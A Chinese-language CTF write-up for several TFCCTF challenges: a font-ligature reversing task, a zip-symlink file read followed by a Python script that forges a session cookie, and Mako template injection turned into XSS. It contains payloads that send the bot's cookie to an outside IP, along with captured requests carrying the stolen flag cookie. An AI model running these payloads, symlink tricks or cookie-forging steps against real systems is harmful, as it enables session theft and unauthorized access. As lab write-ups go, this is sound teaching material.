DISCORD SHENANIGANS V5

简单的零宽字符隐写,不多赘述

FONT LEAGUES

GPT教学局

题目提供了两个文件:

  • index.html:简单页面,包含一个 <textarea>,指定使用自定义字体 Arial-custom.ttf。源码没有任何校验逻辑,只提示“如果正确你会看到一个 O”。
  • Arial-custom.ttf:定制字体文件。

题目名为 FONT LEAGUES,暗示考点与 字体替换/连字机制 (OpenType GSUB) 有关。

分析自定义字体

使用 fontToolsArial-custom.ttf 进行解析,重点关注 GSUB (Glyph Substitution) 表

  • GSUB 表包含大量 LookupType=4 (LigatureSubst) 规则。
  • 这些规则将一串字形合成为一个新的字形,新字形命名规则类似:
    O<一长串哈希样的十六进制>

确认最终目标字形

我们希望找出页面所说的 “O” 字形

  • 在所有 ligature 的”收敛字形”中,找到一个具有 双轮廓 (2 contours) 且边界框面积最大者。
  • 确认其字形名为:
    O162e219bca79a462f9cf5701124cf74c
  • 这个字形渲染出来就是一个标准的圆环”O”,对应网页提示中的”正确结果”。

反向展开得到输入序列

O162e219bca79a462f9cf5701124cf74c 反向回溯 ligature 规则:

  • 每个字形会被展开成一组基础字形。
  • 基础字形名如 one, two, a, b, f, ...,正好对应 十六进制字符

最终得到的展开序列拼接后是一个 64 位十六进制字符串
1f89a957a0816e3bea3fa026cd9a47cf181fb2c0e0c9e9442a2c783b01c083d2

flagTFCCTF{1f89a957a0816e3bea3fa026cd9a47cf181fb2c0e0c9e9442a2c783b01c083d2}

SLIPPY

index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
const express = require('express');
const multer = require('multer');
const path = require('path');
const { execFile } = require('child_process');
const fs = require('fs');
const ensureSession = require('../middleware/session');
const developmentOnly = require('../middleware/developmentOnly');

const router = express.Router();

router.use(ensureSession);

const upload = multer({ dest: '/tmp' });

router.get('/', (req, res) => {
res.render('index', { sessionId: req.session.userId });
});

router.get('/upload', (req, res) => {
res.render('upload');
});

router.post('/upload', upload.single('zipfile'), (req, res) => {
const zipPath = req.file.path;
const userDir = path.join(__dirname, '../uploads', req.session.userId);

fs.mkdirSync(userDir, { recursive: true });

// Command: unzip temp/file.zip -d target_dir
execFile('unzip', [zipPath, '-d', userDir], (err, stdout, stderr) => {
fs.unlinkSync(zipPath); // Clean up temp file

if (err) {
console.error('Unzip failed:', stderr);
return res.status(500).send('Unzip error');
}

res.redirect('/files');
});
});

router.get('/files', (req, res) => {
const userDir = path.join(__dirname, '../uploads', req.session.userId);
fs.readdir(userDir, (err, files) => {
if (err) return res.status(500).send('Error reading files');
res.render('files', { files });
});
});

router.get('/files/:filename', (req, res) => {
const userDir = path.join(__dirname, '../uploads', req.session.userId);
const requestedPath = path.normalize(req.params.filename);
const filePath = path.resolve(userDir, requestedPath);

// Prevent path traversal
if (!filePath.startsWith(path.resolve(userDir))) {
return res.status(400).send('Invalid file path');
}

if (fs.existsSync(filePath) && fs.statSync(filePath).isFile()) {
res.download(filePath);
} else {
res.status(404).send('File not found');
}
});

router.get('/debug/files', developmentOnly, (req, res) => {
const userDir = path.join(__dirname, '../uploads', req.query.session_id);
fs.readdir(userDir, (err, files) => {
if (err) return res.status(500).send('Error reading files');
res.render('files', { files });
});
});

module.exports = router;

普通用户可以通过符号链接读取服务器的任意文件,但是由于flag.txt的路径随机,所以需要先想办法列出根目录的文件夹,明显是通过 /debug/files 来实现,但是调用这个接口需要先进入develop模式。

由于目前已经可以实现任意文件读,因此我们可以直接读取 /app/.env/app/server.js ,从而伪造 connect.sid

伪造并列出根目录的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import hmac
import base64
import requests
from hashlib import sha256

# BASE_URL = "http://127.0.0.1:3000" # ← 改成题目服务地址
BASE_URL = "https://web-slippy-ab436954315562b3.challs.tfcctf.com" # ← 改成题目服务地址
SESSION_SECRET = "3df35e5dd772dd98a6feb5475d0459f8e18e08a46f48ec68234173663fca377b"
DEV_SID = "amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E" # 从 /app/server.js 读到的那串

def cookie_signature(value: str, secret: str) -> str:
sig = hmac.new(secret.encode(), value.encode(), sha256).digest()
b64 = base64.b64encode(sig).decode()
# cookie-signature:去掉 '=' 并做 URL-safe 置换
b64 = b64.rstrip("=")
b64 = b64.replace("+", "-").replace("/", "_")
return b64

def make_connect_sid(sid: str, secret: str) -> str:
return f"s:{sid}.{cookie_signature(sid, secret)}"

def pwn():
cookie_val = make_connect_sid(DEV_SID, SESSION_SECRET)
cookies = {"connect.sid": cookie_val}
insecure = "store_true"
verify = not insecure
headers = {"X-Forwarded-For": "127.0.0.1"} # 因为 app.set('trust proxy', true) 且中间件检查 req.ip
r = requests.get(f"{BASE_URL}/debug/files",
params={"session_id": "../../../../"},
cookies=cookies, headers=headers, timeout=10, verify=verify)
print("[*] Status:", r.status_code)
print(r.text)

if __name__ == "__main__":
pwn()

然后

1
2
ln -s /tlhedn6f/flag.txt pwnlink
zip -y pwn.zip pwnlink

上传pwn.zip再download即可获取flag

flagTFCCTF{3at_sl1P_h4Ck_r3p3at_5af9f1}

KISSFIXESS

main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
from urllib.parse import parse_qs
from bot import visit_url
from mako.template import Template
from mako.lookup import TemplateLookup
import os
from urllib.parse import urlparse, parse_qs
from threading import Thread

MODULE_DIR = os.path.join(os.path.dirname(__file__), 'templates')
if not os.path.exists(MODULE_DIR):
try:
os.makedirs(MODULE_DIR)
except OSError as e:
print(f"Warning: Could not create Mako module directory: {e}")
MODULE_DIR = None

html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Pixel Rainbow Name</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Press+Start+2P&display=swap');

body {
font-family: 'Press Start 2P', cursive;
background-color: #222;
color: #fff;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
min-height: 100vh;
margin: 0;
padding: 20px;
box-sizing: border-box;
}

.container {
background-color: #333;
padding: 30px;
border: 5px solid #555;
box-shadow: 0 0 0 5px #444, 0 0 0 10px #333, 0 0 20px 10px #000;
text-align: center;
}

h1 {
font-size: 24px;
color: #0f0; /* Green for a retro feel */
margin-bottom: 20px;
text-shadow: 2px 2px #000;
}

label {
font-size: 16px;
color: #ccc;
display: block;
margin-bottom: 10px;
}

input[type="text"] {
font-family: 'Press Start 2P', cursive;
padding: 10px;
font-size: 16px;
border: 3px solid #555;
background-color: #444;
color: #fff;
margin-bottom: 20px;
outline: none;
}

input[type="submit"] {
font-family: 'Press Start 2P', cursive;
padding: 10px 20px;
font-size: 16px;
color: #fff;
background-color: #007bff;
border: 3px solid #0056b3;
cursor: pointer;
transition: background-color 0.2s;
}

input[type="submit"]:hover {
background-color: #0056b3;
}

.name-display {
margin-top: 30px;
font-size: 32px; /* Base size for rainbow text */
font-weight: bold;
padding: 10px;
}

.rainbow-text {
/* Fallback for browsers that don't support background-clip */
color: #fff;
/* Rainbow effect */
background: linear-gradient(to right,
hsl(0, 100%, 50%), /* Red */
hsl(30, 100%, 50%), /* Orange */
hsl(60, 100%, 50%), /* Yellow */
hsl(120, 100%, 50%),/* Green */
hsl(180, 100%, 50%),/* Cyan */
hsl(240, 100%, 50%),/* Blue */
hsl(300, 100%, 50%) /* Magenta */
);
-webkit-background-clip: text;
background-clip: text;
color: transparent; /* Make the text itself transparent */
/* Animate the gradient */
animation: rainbow_animation 6s ease-in-out infinite;
background-size: 400% 100%;
text-shadow: none; /* Remove any inherited text-shadow */
}

.rainbow-text span { /* Ensure individual spans also get the effect if we were to wrap letters */
-webkit-background-clip: text;
background-clip: text;
color: transparent;
}

@keyframes rainbow_animation {
0%, 100% {
background-position: 0 0;
}
50% {
background-position: 100% 0;
}
}

.instructions {
font-size: 12px;
color: #888;
margin-top: 30px;
}

</style>
</head>
<body>
<div class="container">
<h1>Pixel Name Display!</h1>
<form method="GET" action="/">
<label for="name">Enter Your Name:</label>
<input type="text" id="name" name="name_input" autofocus>
<input type="submit" value="Show Fancy Name">
</form>

% if name_to_display:
<div class="name-display">
Your fancy name is:
<div class="rainbow-text">NAME</div>
</div>
% endif

<p class="instructions">
Enter a name and see it in glorious pixelated rainbow colors!
</p>
<p class="instructions">
Escaped characters: ${banned}
</p>
<input type="submit" value="Report Name" onclick="reportName()">
<script>
function reportName() {
// Get from query string
const name = new URLSearchParams(window.location.search).get('name_input');
if (name) {
fetch('/report', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ name: name })
})
.then(response => {
if (response.ok) {
alert('Name reported successfully!');
} else {
alert('Failed to report name.');
}
})
.catch(error => {
console.error('Error reporting name:', error);
});
}
}
</script>
</div>
</body>
</html>
"""

lookup = TemplateLookup(directories=[os.path.dirname(__file__)], module_directory=MODULE_DIR)

banned = ["s", "l", "(", ")", "self", "_", ".", "\"", "\\", "import", "eval", "exec", "os", ";", ",", "|"]


def escape_html(text):
"""Escapes HTML special characters in the given text."""
return text.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;").replace("(", "&#40;").replace(")", "&#41;")

def render_page(name_to_display=None):
"""Renders the HTML page with the given name."""
templ = html_template.replace("NAME", escape_html(name_to_display or ""))
template = Template(templ, lookup=lookup)
return template.render(name_to_display=name_to_display, banned="&<>()")

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):

# Parse the path and extract query parameters
parsed_url = urlparse(self.path)
params = parse_qs(parsed_url.query)
name = params.get("name_input", [""])[0]

for b in banned:
if b in name:
name = "Banned characters detected!"
print(b)

# Render and return the page
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.end_headers()
self.wfile.write(render_page(name_to_display=name).encode("utf-8"))

def do_POST(self):
# Handle POST requests to report names
if self.path == "/report":
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
name = json.loads(post_data.decode('utf-8')).get("name", "")
print(f"Received name: {name}")
if name:
print(f"Reported name: {name}")
self.send_response(200)
self.end_headers()
self.wfile.write(b"Name reported successfully!")
Thread(target=visit_url, args=(name,)).start()
else:
self.send_response(400)
self.end_headers()
self.wfile.write(b"Bad Request: No name provided.")
else:
self.send_response(404)
self.end_headers()

def run_server(server_class=HTTPServer, handler_class=SimpleHTTPRequestHandler, port=8000):
server_address = ("0.0.0.0", port)
httpd = server_class(server_address, handler_class)
print(f"Starting http server on port {port}...")
print(f"Access the page at http://0.0.0.0:{port}")
try:
httpd.serve_forever()
except KeyboardInterrupt:
print("\nServer stopped.")
finally:
httpd.server_close()

if __name__ == "__main__":
run_server()

漏洞成因:Mako SSTI 可导致 XSS -> 读 bot 的 cookie

  1. 服务器把用户输入 name_input 先替换进模板源代码,然后才让 Mako 编译与渲染:
1
2
3
templ = html_template.replace("NAME", escape_html(name_to_display or ""))
template = Template(templ, lookup=lookup)
return template.render(name_to_display=name_to_display, banned="&<>()")

也就是说,我们的输入会进入 Mako 模板源 再被 Mako 解析执行(而不是只作为纯文本)。这是典型的SSTI场景。
2. 题目做了两层限制:

  • escape_html() 仅转义了 & < > ( );没有转义 ${},而 ${ ... } 正是 Mako 表达式的执行语法。
  • 黑名单 banned = ["s","l","(",")","self","_",".","\"", "\\", "import", "eval", "exec", "os", ";", ",", "|"]:如果输入里包含这些,就把名字直接替换成固定字符串。但黑名单只禁了小写 s/l、双引号等,没有禁止 ${}、方括号、反引号、加号、冒号等,也没有禁止大写。
  1. 模板向渲染环境里注入了变量 banned="&<>()"。这给了我们一个字符生成器:
    banned[1] 是 <,banned[2] 是 >,banned[3] 是 (,banned[4] 是 )。这样即使输入里不能出现 <>(),也能在 Mako 表达式里拼出来。
  2. bot 端逻辑:Selenium 打开站点后,手动种入名为 flag 的 cookie,再访问我们提交的 /?name_input=... 页面,且停留 200 秒,让前端 JS 有充足时间执行。只要我们能在 bot 的页面里执行 JS,就能读到 document.cookie 并外带。

综上:通过 Mako SSTI → 反射 XSS,在 bot 的浏览器中运行 JS,读取并外带 flag cookie。

绕过思路

  • 用大写标签名绕过小写s黑名单
  • 用反引号作 JS 的字符串/属性访问(例如 window[`open`]、window[`document`][`cookie`]),避免在 JS 中使用单/双引号
  • 用模板变量 banned[1..4] 生成 < > ( )
  • window[`open`] 替代 window[`location`] 来发请求,绕过小写l黑名单
  • String[`fromCharCode`](46) 生成点号.

最终payload

1
2
3
4
${banned[1]+'SCRIPT'+banned[2]+'window['+'`open`'+']'+banned[3]+'`http://xx`'+'+'+'String[`fromCharCode`]'+banned[3]+'46'+banned[4]+'+'+'`xxx`'+'+'+'String[`fromCharCode`]'+banned[3]+'46'+banned[4]+'+'+'`xx`'+'+'+'String[`fromCharCode`]'+banned[3]+'46'+banned[4]+'+'+'`xxx?c=`'+'+'+'window['+'`document`'+']['+'`cookie`'+']'+banned[4]+banned[1]+'/SCRIPT'+banned[2]}

渲染后变为
<script>window[`open`](`http://xx`+String[`fromCharCode`](46)+`xxx`+String[`fromCharCode`](46)+`xx`+String[`fromCharCode`](46)+`xxx?c=`+window[`document`][`cookie`])</script>
1
2
3
4
5
6
7
8
9
GET /?c=flag=TFCCTF{769d12568fc45f14056cbabec2421548a839fa464786dc2013b2453dab9c3cbe} HTTP/1.1
Host: xx.xxx.xx.xxx
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost:8000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

flagTFCCTF{769d12568fc45f14056cbabec2421548a839fa464786dc2013b2453dab9c3cbe}

KISSFIXESS REVENGE

与上题相比,改动如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
banned = ["s", "l", "(", ")", "self", "_", ".", "\"", "\\", "&", "%", "^", "#", "@", "!", "*", "-", "import", "eval", "exec", "os", ";", ",", "|", "JAVASCRIPT", "window", "atob", "btoa", "="]

def render_page(name_to_display=None):
"""Renders the HTML page with the given name."""
templ = html_template.replace("NAME", name_to_display or "")
template = Template(templ, lookup=lookup)
tp = template.render(name_to_display=name_to_display, banned="&<>()", copyright="haha", help="haha", quit="haha")
try:
tp_data = tp.split("<div class=\"rainbow-text\">")[1].split("</div>")[0]
if "." in tp_data or "href" in tp_data.lower():
name = "Banned characters detected!"
return name
except IndexError:
name = "Something went wrong!"
return name

return tp

目前构造的payload

1
${banned[1]+'SCRIPT'+banned[2]+'window['+'`open`'+']'+banned[3]+'`http://796397207/`'+'+'+'window['+'`document`'+']['+'`cookie`'+']'+banned[4]+banned[1]+'/SCRIPT'+banned[2]}

只差绕过window

哦,可以用fetch

1
2
3
4
${banned[1]+'SCRIPT'+banned[2]+'window['+'`open`'+']'+banned[3]+'`http://796397207/`'+'+'+'window['+'`document`'+']['+'`cookie`'+']'+banned[4]+banned[1]+'/SCRIPT'+banned[2]}

渲染后变为
${banned[1]+'SCRIPT'+banned[2]+'fetch'+banned[3]+'`http://796397207/`'+'+'+'document['+'`cookie`'+']'+banned[4]+banned[1]+'/SCRIPT'+banned[2]}
1
2
3
4
5
6
7
8
9
GET /flag=TFCCTF%7Br3v3ng3_15_s0_sw33t!!!!!!!!!!!!%7D HTTP/1.1
Host: 47.120.14.151
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.0.0 Safari/537.36
Accept: */*
Origin: http://localhost:8000
Referer: http://localhost:8000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

flagTFCCTF{r3v3ng3_15_s0_sw33t!!!!!!!!!!!!}

WEBLESS

DOM NOTIFY